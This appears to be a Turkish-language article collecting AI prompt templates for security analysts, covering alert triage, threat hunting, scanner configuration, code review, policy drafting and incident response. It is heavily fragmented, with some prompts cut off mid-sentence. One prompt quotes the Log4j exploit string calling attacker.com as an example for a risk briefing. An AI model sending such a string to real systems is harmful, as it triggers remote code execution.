Her Güvenlik Analistinin Kaydetmesi Gereken 25 Yapay Zeka Komutu (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

imzalı bir dosyayı engelledi.
1.  Basit terimlerle, bu kötü amaçlı yazılım imzası tipik olarak neyi gösterir?
2.  Bu kötü amaçlı yazılım ailesinin yaygın davranışı nedir? (örn. fidye yazılımı, bilgi hırsızı, RAT)
3.  Genç bir analistin

-   **Ana Yem:** E-posta, "acil fatura ödemesi gerekli" olduğunu iddia etti ve kullanıcıyı bir bağlantıya tıklamaya teşvik etti.
-   **URL:** Sahte bir Microsoft 365 oturum açma sayfasına yönlendiren

) aktif olarak hedef aldığına dair son tehdit istihbarat raporuna dayanarak, üç farklı tehdit avcılığı hipotezi oluşturun.
Her hipotez için şunları belirtin:
1.  Hipotezin kendisi.
2.  Gerekli Veri Kaynakları (örn. EDR günlükleri, DNS günlükleri, proxy günlükleri).
3.  Hipotezi test etmek için örnek bir sorgu (sözde sorgu dilinde).
Örnek format:
**Hipotez 1:** Tehdit aktörü kalıcılık sağlamak için zamanlanmış görevler kullanıyor.
**Veri Kaynağı:** EDR süreç oluşturma günlükleri, Windows Olay Günlükleri (ID 4698).
**Sorgu:**

[PASTE_CVE_LIST_AND_CVSS_SCORES]

'ı neden yamalamaları gerektiğini açıklayan bir e-posta yazmam gerekiyor.
Aşağıdaki özelliklere sahip açık, özlü bir e-posta taslağı hazırlayın:
1.  Güvenlik açığını ve etkilenen sistemi (

Bir güvenlik danışmanı olarak hareket edin. Ağımızın `[SERVER_TYPES]` (örn. web sunucuları, veritabanı sunucuları, etki alanı denetleyicileri) içeren yeni bir segmenti için bir Tenable Nessus taraması yapılandırmam gerekiyor.
Bir Nessus tarama politikası yapılandırması önerin. Öneriniz şunları kapsamalıdır:
-   **Tarama Şablonu:** Hangi Nessus şablonuyla başlanmalı (örn. Temel Ağ Taraması, Kimlik Doğrulamalı Yama Denetimi).
-   **Kimlik Bilgileri:** Kimlik doğrulamalı bir taramanın neden gerekli olduğu.
-   **Eklentiler:** Bu sunucu türleri için hangi eklenti ailelerinin etkinleştirilmesi en önemli olduğu.
-   **Sıklık:** Önerilen bir tarama sıklığı (örn. haftalık, aylık).
Çıktıyı, her biri için kısa gerekçelerle birlikte net öneriler olarak sağlayın.

'yi işaretledi, ancak bunun yanlış pozitif olduğunu belirledik.
Kayıtlarımız için resmi bir gerekçe yazmam gerekiyor. Bu bulgunun *neden* yanlış pozitif olduğunu açıklayan bir paragraf taslağı hazırlayın.
Aşağıdaki bilgileri kullanın:
-   **Bulgu:** Tarayıcı

İyileştirme Tahmini Tamamlanma Süresi (ETA)

kod parçasını potansiyel OWASP Top 10 güvenlik açıkları açısından analiz edin, özellikle şunları arayın:
-   Enjeksiyon kusurları (SQL, Komut)
-   Bozuk Kimlik Doğrulama
-   Hassas Veri Maruziyeti
-   Güvensiz Serileşme
Bulduğunuz her sorun için şunları sağlayın:
1.  Güvenlik açığı olan satır numarası.
2.  Güvenlik açığının kısa bir açıklaması.
3.  Nasıl düzeltileceğini gösteren bir kod örneği.
Sorun bulunamazsa, bunu belirtin.
Kod Parçası:

Snyk taramamız, `[LIBRARY_NAME]` açık kaynak kütüphanesinin `[VERSION_NUMBER]` sürümünde kritik bir güvenlik açığı (`[CVE_ID]`) buldu.
Bu güvenlik açığını bir geliştirme ekibine açıklayın. Açıklamanız şunları içermelidir:
1.  Güvenlik açığının bir saldırganın ne yapmasına izin verdiği (örn. uzaktan kod yürütme, hizmet reddi).
2.  Güvenlik açığının nasıl tetiklendiği.
3.  Önerilen eylemin ne olduğu (örn. "X.Y.Z sürümüne yükseltin").
Açıklamayı kısa ve geliştiricilerin düzeltmek için bilmesi gerekenlere odaklanmış tutun.

Baş güvenlik mühendisi olarak hareket edin. Geliştirme ekibimiz için "Girdi Doğrulama" konusunda güvenli bir kodlama yönergesi yazın.
Yönerge, aşağıdaki bölümleri içeren bir markdown belgesi olmalıdır:
-   Girdi doğrulamanın neden önemli olduğuna dair kısa, basit bir açıklama.
-   2-3 en iyi uygulamanın yer aldığı bir "Yapılması Gerekenler" bölümü (örn. izin listeleri kullanın, sunucu tarafında doğrulayın).
-   2-3 yaygın hatanın yer aldığı bir "Yapılmaması Gerekenler" bölümü (örn. yalnızca istemci tarafı doğrulamaya güvenin, engelleme listeleri kullanın).
-   "Kötü" ve "iyi" bir uygulamayı gösteren `[LANGUAGE]` dilinde kısa, net bir kod örneği.

fonksiyonum var.
Bu güvenlik açığını önlemek için parametreli sorgular (hazırlanmış ifadeler) kullanacak şekilde kodu yeniden düzenleyin. "Önce" ve "Sonra" kod bloklarını gösterin.
Savunmasız Kod:

)
-   GitHub kişisel erişim belirteci (örn.

Bir GRC analisti olarak hareket edin. "Yapay Zeka Araçlarının Kabul Edilebilir Kullanımı" hakkında yeni bir kurumsal güvenlik politikası taslağı hazırlamam gerekiyor.
Politika aşağıdaki bölümlerle yapılandırılmalıdır:
1.  **Amaç:** Bu politikanın var olma nedeni.
2.  **Kapsam:** Bu politikanın kimler için geçerli olduğu.
3.  **Politika Beyanları:** Aşağıdakileri içeren bir kurallar listesi:
-   Hassas şirket veya müşteri verileriyle herkese açık yapay zeka araçlarının kullanımının yasaklanması.
-   Yalnızca şirket onaylı yapay zeka platformlarını kullanma gerekliliği.
-   Yapay zeka tarafından oluşturulan içeriğin doğruluğunu doğrulama yönergeleri.
-   Veri sahipliği ve gizliliği hakkında bir beyan.
4.  **Uygulama:** Politikayı ihlal etmenin sonuçları.
Bu politikanın profesyonel bir taslağını oluşturun.

Bir denetime hazırlanıyorum. Mevcut ISO 27001 kontrollerimizi SOC 2 Güven Hizmetleri Kriterlerine eşleştirmem gerekiyor.
Aşağıdaki ISO 27001 kontrolü için, karşıladığı ilgili SOC 2 kriterlerini belirleyin.
**ISO 27001 Kontrolü:** `[ISO_CONTROL_DESCRIPTION]` (örn. "A.9.4.1: Bilgi erişim kısıtlaması")
İlgili SOC 2 TSC'yi ve eşleştirmenin kısa, tek cümlelik bir açıklamasını sağlayın.
Örnek Çıktı:
**SOC 2 TSC:** CC6.1 - Mantıksal Erişim Güvenliği
**Açıklama:** Bu kontrol, rollere ve sorumluluklara dayalı olarak bilgi ve sistemlere mantıksal erişimi kısıtlama SOC 2 gereksinimini doğrudan destekler.

) ve tarama programının bir ekran görüntüsü (

Yeni `[CLOUD_SERVICE_NAME]` dağıtımımız üzerinde bir risk değerlendirmesi yapıyorum.
"Yetersiz Erişim Kontrolleri" ile ilgili bir risk senaryosu oluşturun. Senaryo aşağıdaki alanlarla yapılandırılmalıdır:
-   **Risk Senaryosu:** Olayın kısa, tek cümlelik bir açıklaması.
-   **Tehdit Aktörü:** Buna kim neden olabilir (örn. Kötü Niyetli İçeriden, Harici Saldırgan).
-   **Güvenlik Açığı:** Buna izin veren zayıflık (örn. Aşırı izinli IAM rolleri).
-   **Etki:** Meydana gelirse iş sonucu (örn. Veri ihlali, hizmet kesintisi).
-   **Mevcut Kontroller:** Şu anda sahip olduklarımız (örn. MFA, temel günlük kaydı).
"Yetersiz Erişim Kontrolleri" riski için bu yapıyı doldurun.

Yamalanmamış bir Log4j güvenlik açığının (CVE-2021-44228) riskini teknik olmayan bir risk komitesine açıklamam gerekiyor.
Aşağıdaki teknik açıklamayı basit, analoji tabanlı bir iş riski ifadesine çevirin. RCE, JNDI ve LDAP gibi jargondan kaçının.
**Teknik Açıklama:** "Log4j güvenlik açığı, özel olarak hazırlanmış bir dizeyi günlüğe kaydederek kimlik doğrulaması yapılmamış uzaktan kod yürütmeye (RCE) izin verir. Bir saldırgan, `${jndi:ldap://attacker.com/a}` gibi bir dize gönderebilir, bu da sunucunun saldırganın sistemine geri bağlanmasına ve kötü amaçlı bir yük yürütmesine neden olur."
İş için ne anlama geldiğine odaklanın (örn. "Bu, arka kapıyı açık bırakmak gibidir...").

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

ACİL: Güvenlik Olayı Eskalasyonu - [INCIDENT_TYPE]

Kıdemli bir olay müdahale yöneticisisiniz. Ekibimiz az önce bir `[INCIDENT_TYPE]` olayını çözdü.
Bir Olay Sonrası İnceleme (PIR) belgesi için ayrıntılı bir taslak oluşturun. Taslak, her birinde ele alınacak ana konular için tüm ana bölümleri ve alt maddeleri içermelidir.
Aşağıdaki bölümleri dahil edin:
1.  Yönetici Özeti
2.  Olay Zaman Çizelgesi (Ana Olaylar)
3.  Kök Neden Analizi (Ne başarısız oldu?)
4.  Etki Değerlendirmesi (İş, Teknik, Finansal)
5.  Dersler (Ne iyi gitti? Ne kötü gitti?)
6.  Eylem Öğeleri (Eylem, Sahip ve Son Tarih sütunlarına sahip bir tablo)

Veri sızdırma olayıyla ilgili olarak tehlikeye atılmış bir ana bilgisayarda (`[HOSTNAME]`) dijital adli soruşturmaya başlıyoruz.
Baş adli araştırmacı olarak hareket edin. Soruşturmamızın yanıtlaması gereken en önemli 10 sorunun bir listesini oluşturun. Sorular, ihlalin tam kapsamını ve zaman çizelgesini belirlemeye odaklanmalıdır.
Örnekler:
-   Saldırgan ana bilgisayara ilk erişimi nasıl sağladı?
-   Saldırgan ana bilgisayarda hangi araçları kullandı?
-   Ana bilgisayardan hangi verilere erişildi veya sızdırıldı?

Kurumsal iletişim başkanısınız ve güvenlik ekibiyle çalışıyorsunuz. Çözülmüş olan son bir güvenlik olayı hakkında tüm çalışanlara kısa bir dahili güncelleme göndermemiz gerekiyor.
Olay, `[IMPACT]`'e neden olan bir `[INCIDENT_TYPE]` idi.
Tüm personele kısa, güven verici ve teknik olmayan bir mesaj taslağı hazırlayın. Mesaj şunları içermelidir:
-   Bir kesintinin meydana geldiğini kabul edin.
-   Sorunun artık çözüldüğünü onaylayın.
-   Güvenlik ekibine teşekkür edin.
-   Çalışanlara dikkatli olmaya devam etmelerini ve şüpheli etkinlikleri bildirmelerini hatırlatın.
Olay hakkında teknik detaylar eklemeyin.